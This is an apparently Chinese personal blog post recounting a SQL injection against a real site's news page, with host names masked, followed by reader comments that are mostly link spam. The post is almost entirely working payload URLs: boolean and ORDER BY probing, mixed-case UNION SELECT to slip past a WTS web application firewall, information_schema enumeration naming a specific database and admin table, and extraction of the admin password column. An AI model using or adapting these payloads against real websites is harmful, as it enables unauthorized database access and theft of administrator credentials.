算命縖子
生命不息,折腾不止。
© 算命縖子
All Rights Reserved.

记一次过WTS-WAF注入

http://xxx.com/news_blank.php?id=296 and 1=1
http://xxxxx.com/news_blank.php?id=296+and+1=1
http://xxxxx.com/news_blank.php?id=296+and+1=2
确认是注入
http://xxxx.com/news_blank.php?id=296 order by 11  正确
http://xxxx.com/news_blank.php?id=296 order by 12 错误

http://xxxx.com/news_blank.php?id=296 and 1=2 unionselect1,2,3,4,5,6,7,8,9,10,11 拦截

http://xxxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,4,5,6,7,8,9,10,11–+

http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,user(),5,6,7,version(),9,10,11–+
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(schema_name
as char))),5,6,7,version(),9,10,11 from information_schema.schemata
limit 1,2

http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(table_name
as char))),5,6,7,version(),9,10,11  from information_schema.tables
where table_schema=’hengdong’limit 0,1
查询表名

由于表名太多 所以用python写了个脚本
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(column_name
as char))),5,6,7,version(),9,10,11  from information_schema.columns
where table_schema=’hengdong’and table_name=’hdwl_admin’limit 3,4
查询字段名

http://xxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(pwdas char))),5,6,7,version(),9,10,11  from hdwl_admin
查询字段的内容

2018-10-22
1,591 views
  1. Write more, thats all I have to say. Literally, it seems
    as though you relied on the video to make your point.
    You obviously know what youre talking about,
    why waste your intelligence on just posting videos to your blog when you could be giving us something enlightening to read?

    • admin
      admin

      hello Сialis
      Are you a Russian cyber security enthusiast?

      I saw your message on my blog.I really hope to learn from you.Because different countries may have different ideas, so I very much hope to learn and share with you.

  2. 你好,那个正则你是怎么写的呢?

  3. The time to study or check out the material or internet sites we’ve linked to beneath.

  4. please take a look at the websites we stick to, which includes this 1, because it represents our picks through the web

  5. check beneath, are some completely unrelated web sites to ours, on the other hand, they are most trustworthy sources that we use

  6. always a significant fan of linking to bloggers that I like but dont get a lot of link like from

  7. just beneath, are a lot of absolutely not related sites to ours, even so, they’re surely really worth going over

  8. just beneath, are various entirely not connected websites to ours, having said that, they’re surely really worth going over

  9. always a large fan of linking to bloggers that I love but really don’t get a great deal of link love from

  10. Here is an excellent Weblog You might Uncover Fascinating that we Encourage You

  11. always a huge fan of linking to bloggers that I adore but really don’t get a lot of link enjoy from

  12. very couple of web-sites that happen to become detailed below, from our point of view are undoubtedly nicely worth checking out

  13. check beneath, are some absolutely unrelated web sites to ours, having said that, they may be most trustworthy sources that we use

  14. here are some hyperlinks to web pages that we link to mainly because we believe they are worth visiting

  15. Reparamos todo tipo de electrodomésticos BOSCH en Figueres, ofreciendo un servicio de reparación y mantenimiento completo para cualquiera de sus electrodomésticos BOSCH.

  16. Welcome! Exceptionally accommodating guidance in this specific article! It’s the little changes that roll out the best improvements. Much obliged for sharing! You made some great focuses there. I kept an eye on the web to discover increasingly about the issue and found most people will oblige your perspectives on this website. It’s the best time to make a few arrangements for the long run and the time has come to be glad.

发表评论